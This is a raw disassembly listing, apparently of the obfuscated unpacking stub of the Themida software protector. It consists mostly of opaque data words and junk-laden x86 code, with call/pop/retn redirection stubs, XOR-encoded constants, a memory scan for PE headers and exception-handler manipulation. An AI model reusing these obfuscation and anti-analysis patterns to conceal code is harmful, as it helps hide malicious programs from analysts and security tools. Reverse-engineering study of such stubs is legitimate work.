		dd 0A8064585h, 1E18306h, 40850Fh, 6A0000h, 3E851h, 59200000h
		dd 4C8959C3h, 44810424h, 140424h, 51410000h, 0E85160C3h
		dd 0Ah,	7575B66Bh, 0A033B972h, 0B58BC4FDh, 6A810DDh, 9D895A5Eh
		dd 6A81A39h, 34EDBD29h,	606106A8h, 1810Fh, 0B9F90000h
		dd 0FFFFFFFEh, 2BD99D33h, 8D2106A8h, 6A801EDh, 0E856006Ah
		dd 3, 5EC35E20h, 4247489h, 4244481h, 18h, 46C35646h, 541493A3h
		dd 7EAFE881h, 8D21357Bh, 6A81A6Dh, 0E857006Ah, 3, 5FC35F20h
		dd 4247C89h, 4244481h, 18h, 4AC35747h, 65ED1820h, 1ED8D8Bh
		dd 6A06A8h, 3E852h, 5A200000h, 54895AC3h, 44810424h, 170424h
		dd 52420000h, 0F8B500C3h, 0CBE6041h, 89217279h,	0A82CDD85h
		dd 0E1836106h, 6850F01h, 29000000h, 0A8076D8Dh,	6D8D8B06h
		dd 6A06A81Ah, 3E85700h,	20000000h, 895FC35Fh, 8104247Ch
		dd 1C042444h, 47000000h, 0DDB3C357h, 325E0C38h,	8B7FCA4Dh
		dd 0A81009B5h, 1E18306h, 28850Fh, 6A0000h, 3E855h, 5D200000h
		dd 6C895DC3h, 44810424h, 1A0424h, 55450000h, 0C74E25C3h
		dd 394E7FA5h, 1FF2DA81h, 606106ECh, 0E857006Ah,	3, 5FC35F20h
		dd 4247C89h, 4244481h, 18h, 0B4C35747h,	0C37877Fh, 1DAD8D29h
		dd 85C706A8h, 6A8176Dh,	7D0h, 0E855006Ah, 3, 5DC35D20h
		dd 4246C89h, 4244481h, 19h, 7EC35545h, 77EB7E83h, 299D8BF9h
		dd 6106A835h, 0E856006Ah, 3, 5EC35E20h,	4247489h, 4244481h
		dd 1Ch,	9CC35646h, 1B97B99Eh, 36742749h, 31558D89h, 7EB06A8h
		dd 0E99D61h, 6A000000h,	3E85000h, 20000000h, 8958C358h
		dd 81042444h, 1B042444h, 40000000h, 0CED3C350h,	16EA5EF4h
		dd 8166DB94h, 6A1146C6h, 3E85000h, 20000000h, 8958C358h
		dd 81042444h, 18042444h, 40000000h, 6E7EC350h, 8BC45F56h
		dd 8F4FEBC1h, 0ABFA251Ch, 0DAC6A108h, 0D41CA4ACh, 0E45C5CD2h
		dd 3134CE00h, 27CE1BF5h, 34D129B3h, 2AC7DD5Bh, 1BCE17E6h
		dd 0DB6734DFh, 6FB700A6h, 0EA1A0047h, 0D5A3h, 199C0000h
		dd 0FECBh, 0FBFE49h, 0B4870000h, 202352DDh, 339C9ED9h
		dd 87E977E7h, 6A000012h, 3E85300h, 20000000h, 895BC35Bh
		dd 8104245Ch, 17042444h, 43000000h, 0BEADC353h,	0BD833CC4h
		dd 6A8339Dh, 2E850F00h,	53000000h, 0A2A2E781h, 0F5F3528h
		dd 68Dh, 0AD8D8B00h, 0B806A819h, 0
; ---------------------------------------------------------------------------
		jbe	locret_58AD80
		mov	[ebp+6A80B25h],	edi

locret_58AD80:				; CODE XREF: Themida_:0058AD74j
		retn	4
; ---------------------------------------------------------------------------
		sub	[ebp+6A832ADh],	edx
		mov	eax, eax
		mov	[ebp+6A83285h],	eax
		cmp	dword ptr [ebp+6A81ED9h], 0
		jnz	short loc_58ADA3
		cmp	dword ptr [ebp+6A82DE9h], 0
		jz	short loc_58ADB6


loc_58ADA3:				; CODE XREF: Themida_:0058AD98j
		push	eax
		push	ebx
		mov	eax, eax
		mov	eax, 4D0h
		lea	ebx, [ebp+6AA9F80h]
		call	ebx
		pop	ebx
		pop	eax


loc_58ADB6:				; CODE XREF: Themida_:0058ADA1j
		cmp	dword ptr [ebp+6A82DE9h], 0
		jz	short loc_58ADD0
		push	eax
		push	ebx
		mov	eax, 4D0h
		lea	ebx, [ebp+6AA9ECDh]
		call	ebx
		pop	ebx
		pop	eax


loc_58ADD0:				; CODE XREF: Themida_:0058ADBDj
		or	edi, [ebp+6A82771h]
		push	0
		push	edi
		call	sub_58ADE1
		and	[edi-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_58ADE1	proc near		; CODE XREF: Themida_:0058ADD9p

arg_4		= dword	ptr  8

		pop	edi
		mov	[esp-4+arg_4], edi
		add	[esp-4+arg_4], 19h
		inc	edi
		push	edi
		retn
sub_58ADE1	endp

; ---------------------------------------------------------------------------
		db 0F1h, 0EEh, 15h
; ---------------------------------------------------------------------------
		mov	eax, 0C08BFF46h
		pusha
		mov	esi, [ebp+6A80A95h]
		sbb	edi, 58A4CFEEh
		popa
		lea	eax, [ebp+6AC1311h]
		push	0
		push	edi
		call	sub_58AE18
		and	[edi-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_58AE18	proc near		; CODE XREF: Themida_:0058AE10p

arg_4		= dword	ptr  8

		pop	edi
		mov	[esp-4+arg_4], edi
		add	[esp-4+arg_4], 1Ah
		inc	edi
		push	edi
		retn
sub_58AE18	endp

; ---------------------------------------------------------------------------
		dd 0B1646F65h, 90F5BD72h, 50FA8B66h, 0FD71BF66h, 0FE62BF90h
		dd 858D4B81h, 6AC12CEh,	0E856006Ah, 3, 5EC35E20h, 4247489h
		dd 4244481h, 1Ch, 90C35646h, 412A9947h,	9BE009A5h, 599D8B60h
		dd 6106A833h, 0BE990h, 0E9660000h, 3222E5Ah, 0AB6022CDh
		dd 14E85078h, 56000000h, 3A5DECEEh, 0DD752E77h,	0ED07A31Ah
		dd 53FDA90Ah, 6697D4D1h, 5FB1B3BAh, 56006A90h, 3E8h, 0C35E2000h
		dd 2474895Eh, 24448104h, 1A04h,	0C3564600h, 0D83A94A7h
		dd 8BE61EB1h, 2880FCEh,	0B1000000h, 3595FF9Ah, 906A81Ah
		dd 0A82E7D95h, 24448B06h, 52006A04h, 3E8h, 0C35A2000h
		dd 2454895Ah, 24448104h, 1704h,	0C3524200h, 0AAB1AC3Bh
		dd 12F98589h, 10E906ACh, 0ED000000h, 1FED9A46h,	677EE77Dh
		dd 0A88463F8h, 8B4F1179h, 89082444h, 0A81999BDh, 0D858906h
		dd 6A06AC13h, 3E85000h,	20000000h, 8958C358h, 81042444h
		dd 17042444h, 40000000h, 3CB2C350h, 8E0FD425h, 6, 14C59523h
		dd 0BD8306A8h, 6A80F01h, 0D8850F00h, 0F000000h,	85C6FFB7h
		dd 6A815D5h, 5DA9BA47h,	0B70F1CD0h, 52D668FEh, 6056D443h
		dd 0BF666160h, 5F619AD2h, 0FC240481h, 0E9005754h, 14h
		dd 5AED1702h, 0AA65D3AAh, 0DAB04454h, 873DAE4Eh, 0ADEE1945h
		dd 28DB509h, 0B5FF06A8h, 6A80F95h, 0FE960h, 3B330000h
		dd 0BFE2ACF6h, 75BA8D1Ah, 33670FC1h, 3840F96h, 0F000000h
		dd 8D61DFBFh, 0AB697185h, 57006A06h, 3E8h, 0C35F2000h
		dd 247C895Fh, 24448104h, 1804h,	0C3574700h, 9C82F492h
		dd 398D8B30h, 0FF06A815h, 0E28166D0h, 8B60C12Eh, 0A81D99BDh
		dd 0CC8A5106h, 85896158h, 6A80F01h, 0E855006Ah,	3, 5DC35D20h
		dd 4246C89h, 4244481h, 15h, 0D2C35545h,	0CB8B66FAh, 66D18B66h
		dd 835616BAh, 0A80909BDh, 850F0006h, 0C0h, 919589h, 0B58906A8h
		dd 6A828A1h, 15D585C6h,	6A4706A8h, 3E85000h, 20000000h
		dd 8958C358h, 81042444h, 1A042444h, 40000000h, 164DC350h
		dd 700C6AD5h, 0C8BF0FEBh, 4E8CFB6h, 0E2000000h,	508A0FB5h
		dd 424448Bh, 0FB8B6653h, 0B9008B59h, 10A447DEh,	4244489h
		dd 14E9h, 0C1230A00h, 58C0FCADh, 87EE53A4h, 0B9AF283Ch
		dd 0D4CB8056h, 85895891h, 6A82D79h, 0F95B5FFh, 9D2906A8h
		dd 6A80C0Dh, 6971858Dh,	6A06ABh, 3E856h, 5E200000h, 74895EC3h
		dd 44810424h, 140424h, 56460000h, 0B5893AC3h, 6A80AC9h
		dd 0CD19D31h, 0D0FF06A8h, 9098589h, 8D8906A8h, 6A832E5h
		dd 28ADBD83h, 0F0006A8h, 0DF85h, 57006A00h, 3E8h, 0C35F2000h
		dd 247C895Fh, 24448104h, 1A04h,	0C3574700h, 6A98A556h
		dd 5188AF31h, 0A958D89h, 0C65906A8h, 0A815D585h, 14E95606h
		dd 8A000000h, 826296A2h, 0E6E05ECAh, 98AAD1D1h,	0F60973A9h
		dd 0E9442952h, 8, 35AB9B73h, 1CD7A5EFh,	66F8E168h, 0CE99Eh
		dd 7C610000h, 9746045h,	0E3C21471h, 3481C3C4h, 7995D824h
		dd 0F1BD234Ah, 0E806A820h, 0Dh,	0AEB3D138h, 7AAE3508h
		dd 681188B1h, 4D958B05h, 5906A825h, 0F95B5FFh, 0BD0106A8h
		dd 6A82239h, 6971858Dh,	9D0906ABh, 6A82FB9h, 6AD0FFh, 3E850h
		dd 58200000h, 448958C3h, 44810424h, 150424h, 50400000h
		dd 898164C3h, 0A8288D95h, 0D78B6606h, 28AD8589h, 8D8B06A8h
		dd 6A81429h, 15D585C6h,	606C06A8h, 0EE9h, 72B57200h, 29ED54F9h
		dd 0A5783B6Dh, 0F49894Ah, 6861C1B7h, 0C6AE464Dh, 12E9h
		dd 27802200h, 2F6BAC75h, 14C3F5F5h, 5AE5F044h, 81EF7132h
		dd 2A362404h, 6A1457h, 3E852h, 5A200000h, 54895AC3h, 44810424h
		dd 1A0424h, 52420000h, 5F6FE6C3h, 706EF0E7h, 0FFCAB70Fh
		dd 0A831F9B5h, 53006A06h, 3E8h,	0C35B2000h, 245C895Bh
		dd 24448104h, 1B04h, 0C3534300h, 3756365Bh, 4B21A715h
		dd 1E818D8Bh, 54B906A8h, 8D15F865h, 0A83AC385h,	56006A06h
		dd 3E8h, 0C35E2000h, 2474895Eh,	24448104h, 1704h, 0C3564600h
		dd 114E8720h, 1DA18D8Bh, 0D0FF06A8h, 3025BD8Bh,	8D8B06A8h
		dd 6A80AADh, 12FD8589h,	958B06ACh, 6A806A5h, 1319BD83h
		dd 0F0006ACh, 10685h, 53006A00h, 3E8h, 0C35B2000h, 245C895Bh
		dd 24448104h, 1504h, 0C3534300h, 7E9179Dh, 4F000000h, 5D4E1BC6h
		dd 0BF669894h, 85C6EC98h, 6A815D5h, 52006A49h, 3E8h, 0C35A2000h
		dd 2454895Ah, 24448104h, 1804h,	0C3524200h, 0A243DA4Fh
		dd 64846895h, 34818EEFh, 0FA4D6D24h, 89526002h,	0A81C259Dh
		dd 13E85906h, 6E000000h, 0CCB5EC86h, 27CF5B1Eh,	0EC42F5EAh
		dd 74D173F1h, 8F0F8B08h, 0
; ---------------------------------------------------------------------------
		pop	esi
		popa
		push	dword ptr [ebp+6A831F9h]
		clc
		lea	eax, [ebp+6A83AC3h]
		mov	[ebp+6A83191h],	edi
		call	eax
		push	0
		push	ecx
		call	sub_58B386
		and	[ecx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_58B386	proc near		; CODE XREF: Themida_:0058B37Ep

arg_4		= dword	ptr  8

		pop	ecx
		mov	[esp-4+arg_4], ecx
		add	[esp-4+arg_4], 14h
		inc	ecx
		push	ecx
		retn
sub_58B386	endp

; ---------------------------------------------------------------------------
		mov	eax, large ds:0FE9h
		add	[edx], al
		mov	ah, 9Bh
		cli
		retf
; ---------------------------------------------------------------------------
		db 0E6h, 1Ah, 5Eh
; ---------------------------------------------------------------------------
		xor	[edx], ah
		and	eax, 0CAA36F3Ah
		mov	[ebp+6AC1319h],	eax
		push	0
		push	ecx
		call	sub_58B3BC
		and	[ecx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_58B3BC	proc near		; CODE XREF: Themida_:0058B3B4p

arg_4		= dword	ptr  8

		pop	ecx
		mov	[esp-4+arg_4], ecx
		add	[esp-4+arg_4], 1Ch
		inc	ecx
		push	ecx
		retn
sub_58B3BC	endp

; ---------------------------------------------------------------------------
		dd 982E301Ah, 0D7838DADh, 2880FDAh, 8B000000h, 2D8D8BD1h
		dd 6A06A82Eh, 4ABF6604h, 26E86874h, 25B5DB03h, 18240481h
		dd 6A24FCE9h, 3E85700h,	20000000h, 895FC35Fh, 8104247Ch
		dd 15042444h, 47000000h, 19ACC357h, 13E9h, 14C91700h, 2C6D41Ah
		dd 74F88278h, 72F8F081h, 0E542447Eh, 0D18D89h, 8D8B06A8h
		dd 6A834D5h, 0EE592368h, 81616042h, 59232434h, 0CE842EFh
		dd 74000000h, 0C0F6026h, 7E97A667h, 5A8B8697h, 8D8B006Ah
		dd 6A80BF9h, 27C995FFh,	6A06A8h, 3E853h, 5B200000h, 5C895BC3h
		dd 44810424h, 160424h, 53430000h, 9FDC26C3h, 2E058D8Bh
		dd 858906A8h, 6AC1309h,	0E851006Ah, 3, 59C35920h, 4244C89h
		dd 4244481h, 18h, 28C35141h, 0E5914DA3h, 1709BD89h, 85C706A8h
		dd 6AC1301h, 0
		dd 0FAD8D8Bh, 6A06A8h, 4FEF8166h, 4E8BAh, 0
		dd 40B90001h, 50008A27h, 448B56B2h, 0EE90424h, 7A000000h
		dd 32927872h, 0CE9973B9h, 0A1A659E2h, 89008BE6h, 50042444h
		dd 0A8B96652h, 0E9310FA5h, 12h,	57DC569h, 4B7BEE7Fh, 74850930h
		dd 56B805DCh, 585A2CB1h, 5AFC5658h, 3860Fh, 8B660000h
		dd 0E85790F8h, 11h, 0C19221FCh,	56540C0Eh, 23D82C35h, 0CB94468Fh
		dd 59FA8B68h, 0BF66505Ah, 6A9046ECh, 3E85100h, 20000000h
		dd 8959C359h, 8104244Ch, 1A042444h, 41000000h, 0B840C351h
		dd 95E1ACCBh, 958957F2h, 6A806C9h, 0F6BF665Ah, 0E90B6AC4h
		dd 9, 0D5002936h, 52ECF534h, 0D6858D97h, 6A06AC12h, 3E85700h
		dd 20000000h, 895FC35Fh, 8104247Ch, 15042444h, 47000000h
		dd 4479C357h, 0D1BD8Bh,	0BF6606A8h, 6650DF07h, 489FA8Bh
		dd 0FFD58A24h, 0A80F0195h, 5858906h, 8D06A82Eh,	0AC12E0B5h
		dd 8A50F906h, 243489D4h, 0E852006Ah, 3,	5AC35A20h, 4245489h
		dd 4244481h, 16h, 87C35242h, 0E9509C70h, 10h, 0DFD34495h
		dd 4DA9BA09h, 57E294AFh, 9EF62DF5h, 6A240489h, 3E85700h
		dd 20000000h, 895FC35Fh, 8104247Ch, 1C042444h, 47000000h
		dd 2445C357h, 9E241E3Fh, 89C364B1h, 0A826C185h,	995FF06h
		dd 6A06A809h, 3E85100h,	20000000h, 8959C359h, 8104244Ch
		dd 19042444h, 41000000h, 5E9AC351h, 0B6E4D4B0h,	31F9B70Fh
		dd 0A8319195h, 0FC00B06h, 1185h, 5D8D8B00h, 0E906A81Fh
		dd 6D3h, 0FB59D31h, 0D0FF06A8h,	0E852006Ah, 3, 5AC35A20h
		dd 4245489h, 4244481h, 14h, 4FC35242h, 3165B531h, 0B58B06A8h
		dd 6AC1309h, 0DE9h, 0E2FD9E00h,	0F6031D66h, 0AF9FB8E4h
		dd 468D5596h, 5E820h, 0C2FA0000h, 0F19B0D9h, 158Ch, 0FE800h
		dd 0F1D0000h, 0A1F543E3h, 0A84CD19Bh, 2A3E0811h, 6A5A5FC0h
		dd 57006A04h, 3E8h, 0C35F2000h,	247C895Fh, 24448104h, 1C04h
		dd 0C3574700h, 0D11FB13Bh, 6BFD3188h, 3810F1Eh,	66000000h
		dd 820FCB8Bh, 6, 2115BD89h, 605006A8h, 880F5250h, 0
		dd 585A310Fh, 61F18B66h, 0F240489h, 0E951F8BFh,	7, 0EF5234BCh
		dd 59515BF8h, 131995FFh, 810F06ACh, 1, 0FC00BFCh, 2C84h
		dd 0E989B600h, 5EBh, 0E855006Ah, 3, 5DC35D20h, 4246C89h
		dd 4244481h, 17h, 23C35545h, 8BB20CCCh,	0A82275BDh, 207E8006h
		dd 0BC840F00h, 89000005h, 0A8206DB5h, 6A6006h, 3E853h
		dd 5B200000h, 5C895BC3h, 44810424h, 1D0424h, 53430000h
		dd 0BAB81C3h, 0D45839Bh, 89824DFAh, 0A81DE595h,	20468D06h
		dd 8589CA8Bh, 6AC1305h,	3C78166h, 82E915h, 8D8B0000h, 6A821FDh
		dd 50006A40h, 3E8h, 0C3582000h,	24448958h, 24448104h, 1504h
		dd 0C3504000h, 85897FE5h, 6A83135h, 0B3DBBF66h,	4DBF6650h
		dd 2404894Dh, 7EE4BA66h, 8166046Ah, 9001C4E1h, 0BF0F9050h
		dd 1995FFFBh, 8906AC13h, 0A801A98Dh, 1DB53106h,	8B06A82Bh
		dd 58FE8BD8h, 17ED958Bh, 0C28106A8h, 5A8F94CDh,	840FDB0Bh
		dd 10h,	2649958Bh, 0BAB906A8h, 0E946862Fh, 4F3h, 0F003880h
		dd 0FFFF7B85h, 56006AFFh, 3E8h,	0C35E2000h, 2474895Eh
		dd 24448104h, 1C04h, 0C3564600h, 0B05346D4h, 2BB60933h
		dd 69B952B0h, 597CB2DCh, 1CE9h,	3D958B00h, 4806A81Dh, 9E8h
		dd 55F17600h, 12AB425Ah, 8D8B8DA4h, 6A81FF9h, 5853B5Ah
		dd 0F06AC13h, 1D82h, 0FB8B6600h, 0F5C3880h, 1184h, 2F388000h
		dd 0FFC9850Fh, 0B70FFFFFh, 0DA8166D7h, 6A40A143h, 3E85200h
		dd 20000000h, 895AC35Ah, 81042454h, 1D042444h, 42000000h
		dd 839CC352h, 0D734FF54h, 0AB2C715h, 8BCABF0Fh,	0A81DE98Dh
		dd 0DBD8306h, 6AC13h, 18A840Fh,	8E80000h, 0B7000000h, 0FC8F39E9h
		dd 8BC7362Ah, 0A832DD95h, 0E8905906h, 0Fh, 3AA07A07h, 2C6653DCh
		dd 0FDEC8EE3h, 60CD2C38h, 66FE8B66h, 5A61D08Bh,	4F69BA50h
		dd 3902509h, 0AC130D85h, 0BA6606h, 0D9B589D8h, 9006A808h
		dd 50D18B66h, 0BE9h, 0B3280000h, 0D9BA99B7h, 0CEE215F8h
		dd 56006A90h, 3E8h, 0C35E2000h,	2474895Eh, 24448104h, 1604h
		dd 0C3564600h, 0E98AE976h, 6, 413ACF58h, 0BD8BAA55h, 6A806C9h
		dd 8589046Ah, 6A831E5h,	50A5B690h, 10E9h, 589EAD00h, 4B25BD22h
		dd 2F8A1AAAh, 0E39123DAh, 6A905Dh, 3E852h, 5A200000h, 54895AC3h
		dd 44810424h, 150424h, 52420000h, 606D1BC3h, 57791CBEh
		dd 0D78B660Ah, 7E861h, 4F0E0000h, 2FD68162h, 0EAE280F6h
		dd 0CA816659h, 95FFF928h, 6AC1319h, 0E851006Ah,	3, 59C35920h
		dd 4244C89h, 4244481h, 16h, 5AC35141h, 9E98771h, 0C0000000h
		dd 807D810h, 0FB4D6C4h,	10E9D88Bh, 71000000h, 30630476h
		dd 3D341D71h, 6D0AC9C5h, 585AB7DEh, 361786B9h, 0FDB0B2Fh
		dd 3384h, 7E900h, 673B0000h, 0E98CC7EFh, 2E5E970h, 6A0000h
		dd 3E852h, 5A200000h, 54895AC3h, 44810424h, 1A0424h, 52420000h
		dd 0D2CC49C3h, 10B764E5h, 10000C6h, 0A82F919Dh,	7ABA6606h
		dd 0BD095802h, 6A833A1h, 13E990h, 0AC5F0000h, 0D8A6CE15h
		dd 5A00E84Dh, 3816E60Fh, 0DF1DE1Fh, 87BA50EEh, 903A1AC5h
		dd 0CED9B966h, 6830F52h, 89000000h, 0A81AADBDh,	1E6A5A06h
		dd 0C800Fh, 800F0000h, 6, 30ED8D8Bh, 0E89006A8h, 12h, 7146120Dh
		dd 2D2B69DBh, 5497CCDCh, 0AFF823B3h, 8E84349h, 0A4000000h
		dd 0B76E016Ch, 0E97225EAh, 0Fh,	5984722Eh, 85F4CBE0h, 3BFFA1B1h
		dd 5A4984E2h, 0D08B505Ah, 8D8D8B90h, 0FF06A802h, 0AC131995h
		dd 55006A06h, 3E8h, 0C35D2000h,	246C895Dh, 24448104h, 1804h
		dd 0C3554500h, 0F9E59928h, 0FEA8AE5h, 686h, 758D0300h
		dd 8B06A80Ch, 0B58958D8h, 6A81F39h, 840FDB0Bh, 56h, 0E851006Ah
		dd 3, 59C35920h, 4244C89h, 4244481h, 1Dh, 30C35141h, 6A830A3Fh
		dd 0C366C00Ah, 0E99531BFh, 106A810h, 0A83109B5h, 1A9E906h
		dd 6A0000h, 3E851h, 59200000h, 4C8959C3h, 44810424h, 150424h
		dd 51410000h, 0F0B45C3h, 8B50D7BFh, 240489F8h, 0E856006Ah
		dd 3, 5EC35E20h, 4247489h, 4244481h, 1Ch, 0EBC35646h, 0FDD21441h
		dd 7824B00Eh, 0FFD18B66h, 0AC12F9B5h, 50006A06h, 3E8h
		dd 0C3582000h, 24448958h, 24448104h, 1604h, 0C3504000h
		dd 0FFCA1BC2h, 0AC12FD95h, 57006A06h, 3E8h, 0C35F2000h
		dd 247C895Fh, 24448104h, 1704h,	0C3574700h, 0CEE215F8h
		dd 1F95BD29h, 816606A8h, 0B6924D9h, 0CB850FC0h,	60000000h
		dd 9E9h, 6C360100h, 0AA260EBBh,	0FE91297h, 0E1000000h
		dd 0FB3F67CBh, 3652E578h, 0CA620EBFh, 5061F43Eh, 6870Fh
		dd 830F0000h, 0
; ---------------------------------------------------------------------------
		pop	ecx
		popa
		push	0
		push	ebx
		call	sub_58BC8D
		and	[ebx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_58BC8D	proc near		; CODE XREF: Themida_:0058BC85p

arg_4		= dword	ptr  8

		pop	ebx
		mov	[esp-4+arg_4], ebx
		add	[esp-4+arg_4], 1Bh
		inc	ebx
		push	ebx
		retn
sub_58BC8D	endp

; ---------------------------------------------------------------------------
		pop	ss
		xchg	eax, edx
		cmpsd
		movsb
		sal	byte ptr [eax+7Fh], 63h
		mov	dword ptr [ebp+6AC1301h], 1
		push	0
		push	ebx
		call	sub_58BCBA
		and	[ebx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_58BCBA	proc near		; CODE XREF: Themida_:0058BCB2p

arg_4		= dword	ptr  8

		pop	ebx
		mov	[esp-4+arg_4], ebx
		add	[esp-4+arg_4], 1Dh
		inc	ebx
		push	ebx
		retn
sub_58BCBA	endp

; ---------------------------------------------------------------------------
		dw 0A17Eh
; ---------------------------------------------------------------------------
		dec	esi
		or	edi, [edi+edi*4+16BF8E74h]
		adc	dx, 0DFD8h
		mov	edi, [ebp+6A83191h]
		mov	[ebp+6A80CF1h],	esi
		jmp	loc_58BD4F
; ---------------------------------------------------------------------------
		push	0
		push	esi
		call	sub_58BCF5
		and	[esi-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_58BCF5	proc near		; CODE XREF: Themida_:0058BCEDp

arg_4		= dword	ptr  8

		pop	esi
		mov	[esp-4+arg_4], esi
		add	[esp-4+arg_4], 1Ch
		inc	esi
		push	esi
		retn
sub_58BCF5	endp

; ---------------------------------------------------------------------------
		db 0Eh,	0E3h, 70h
; ---------------------------------------------------------------------------
		sbb	ds:21E3F515h, bl
		jmp	loc_58BD1A
; ---------------------------------------------------------------------------
		db 9Fh
		dd 48032F29h
		db 6Bh,	0BBh
; ---------------------------------------------------------------------------


loc_58BD1A:				; CODE XREF: Themida_:0058BD0Ej
		popa
		xor	edi, 5BB1F947h
		add	esi, 11Ch
		cld
		jmp	near ptr dword_58B4D4+1EAh
; ---------------------------------------------------------------------------
		push	0
		push	edi
		call	sub_58BD38
		and	[edi-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_58BD38	proc near		; CODE XREF: Themida_:0058BD30p

arg_4		= dword	ptr  8

		pop	edi
		mov	[esp-4+arg_4], edi
		add	[esp-4+arg_4], 1Ah
		inc	edi
		push	edi
		retn
sub_58BD38	endp

; ---------------------------------------------------------------------------
		dd 9B418801h
		db 0B1h, 0FFh, 8Bh
; ---------------------------------------------------------------------------


loc_58BD4F:				; CODE XREF: Themida_:0058BCE5j
		push	7166DB5Bh
		jmp	loc_58BD65
; ---------------------------------------------------------------------------
		db 0E4h, 8Bh, 33h
		dd 990E447Ah, 0F6A69413h
; ---------------------------------------------------------------------------
		popa


loc_58BD65:				; CODE XREF: Themida_:0058BD54j
		xor	dword ptr [esp], 71665B5Bh
		call	near ptr loc_58BD7C+1
		and	al, 0D1h
		xchg	ebp, [ecx]
		daa
		xchg	eax, esp
		mov	edx, 12EE6416h


loc_58BD7C:				; CODE XREF: Themida_:0058BD6Cp
		sub	[ebx-57F1C66Bh], ecx
		push	es
		pop	edx
		push	0
		mov	[ebp+6A82A9Dh],	edi
		push	dword ptr [ebp+6AC1309h]
		push	0
		push	ebp
		call	sub_58BD9D
		and	[ebp-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_58BD9D	proc near		; CODE XREF: Themida_:0058BD95p

arg_4		= dword	ptr  8

		pop	ebp
		mov	[esp-4+arg_4], ebp
		add	[esp-4+arg_4], 17h
		inc	ebp
		push	ebp
		retn
sub_58BD9D	endp

; ---------------------------------------------------------------------------
		db 4Dh,	0E9h, 0F7h
		dd 13DD8064h, 28AD95FFh, 6A06A8h, 3E851h, 59200000h, 4C8959C3h
		dd 44810424h, 190424h, 51410000h, 0E26236C3h, 66A82CA5h
		dd 8B64C981h, 1301858Bh, 6A06ACh, 3E850h, 58200000h, 448958C3h
		dd 44810424h, 1B0424h, 50400000h, 95AF34C3h, 54DBF690h
		dd 5ABA66D7h, 0A5BF5072h, 892347C5h, 6A2404h, 3E855h, 5D200000h
		dd 6C895DC3h, 44810424h, 1D0424h, 55450000h, 0AF3C5CC3h
		dd 0BB7AD82Dh, 5302730Ch, 11858D59h, 6A06AC13h,	3E85000h
		dd 20000000h, 8958C358h, 81042444h, 1B042444h, 40000000h
		dd 9A6AC350h, 2CD6ECF9h, 336070F3h, 0A821F595h,	0ED8D8B06h
		dd 6106A815h, 0FE890h, 0ECCF0000h, 3094F54Ch, 9A217458h
		dd 3F16970Eh, 0DE810h, 29C80000h, 122F4F2h, 37200F44h
		dd 6619812Fh, 5951DCB9h, 0BE95059h, 0B9000000h,	62A959EFh
		dd 9C76994Bh, 8090FEE4h, 858DA7EAh, 6AC12CEh, 3231958Bh
		dd 895006A8h, 0BA662404h, 95FFF83Eh, 6A82D75h, 90DBD29h
		dd 0C08B06A8h, 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h
		dd 14h,	70C35040h, 25D9BD8Bh, 0BD8306A8h, 6A81ED9h, 83097500h
		dd 0A82DE9BDh, 13740006h, 0C08B5350h, 4D0B8h, 0E79D8D00h
		dd 0FF06AA9Fh, 83585BD3h, 0A82DE9BDh, 11740006h, 0D0B85350h
		dd 8D000004h, 0AA9EE69Dh, 5BD3FF06h, 0B1958958h, 0F06A827h
		dd 0F781D7BFh, 6F605F08h, 6AC08Bh, 3E851h, 59200000h, 4C8959C3h
		dd 44810424h, 1B0424h, 51410000h, 1A5711C3h, 0AE810AB5h
		dd 58F78ACEh, 0E850006Ah, 3, 58C35820h,	4244489h, 4244481h
		dd 16h,	16C35040h, 8D8B723Ah, 6A80B89h,	14418D8Bh, 8C206A8h
		dd 5E96000h, 0A2000000h, 40A9F794h, 8E9h, 0ACDDFF00h, 0E187D913h
		dd 0C08B615Eh, 8DCE8B66h, 0AC134185h, 0CF816606h, 85894BEBh
		dd 6A805E9h, 0E1000BAh,	0EA81F0h, 83F00000h, 958914C2h
		dd 6A800A1h, 8D14EA83h,	0AC266585h, 0FF645006h,	35h, 25896400h
		dd 0
; ---------------------------------------------------------------------------
		call	$+5
		pop	eax
		sub	eax, edx
		and	eax, 0FFFFF000h


loc_58C005:				; CODE XREF: Themida_:0058C027j
		cmp	word ptr [eax],	5A4Dh
		jnz	loc_58C022
		movzx	edx, word ptr [eax+3Ch]
		add	edx, eax
		cmp	dword ptr [edx], 4550h
		jz	loc_58C02C


loc_58C022:				; CODE XREF: Themida_:0058C00Aj
		sub	eax, 1000h
		jmp	loc_58C005
; ---------------------------------------------------------------------------


loc_58C02C:				; CODE XREF: Themida_:0058C01Cj
		mov	ecx, eax
		mov	[ebp+6A831D5h],	eax
		add	eax, [eax+3Ch]
		movzx	edx, word ptr [eax+6]
		mov	[ebp+6A80E75h],	edx
		mov	edx, [eax+50h]
		mov	[ebp+6A82605h],	edx
		add	eax, 0F8h
		mov	edx, [eax+0Ch]
		add	edx, ecx
		mov	[ebp+6A80D81h],	edx
		add	edx, [eax+8]
		mov	[ebp+6A81641h],	edx ; CODE XREF: Themida_:0058C0BDj
		pop	large dword ptr	fs:0
		add	esp, 4
		jmp	loc_58C085
; ---------------------------------------------------------------------------
		push	ecx
		mov	ecx, [esp+10h]
		sub	dword ptr [ecx+0B0h], 1000h
		pop	ecx
		xor	eax, eax
		retn
; ---------------------------------------------------------------------------


loc_58C085:				; CODE XREF: Themida_:0058C06Dj
		cmp	dword ptr [ebp+6A80061h], 0
		jz	loc_58C0B6
		mov	byte ptr [ebp+6A815D5h], 47h
		push	0D49AA7D2h
		push	dword ptr [ebp+6A80F95h]
		lea	eax, [ebp+6AB6971h]
		call	eax
		push	0
		call	eax
		mov	[ebp+6A82D85h],	eax


loc_58C0B6:				; CODE XREF: Themida_:0058C08Cj
		mov	edx, ebx
		call	sub_58C0CF
		jo	short near ptr loc_58C05D+4
		mov	ah, 7Bh
		jmp	near ptr 3C85CC0Bh
; ---------------------------------------------------------------------------
		dw 578Eh
		dd 443E9A71h
; ---------------------------------------------------------------------------
		or	ah, 0FDh

; =============== S U B	R O U T	I N E =======================================



sub_58C0CF	proc near		; CODE XREF: Themida_:0058C0B8p
		pusha
		jmp	loc_58C0E5
; ---------------------------------------------------------------------------
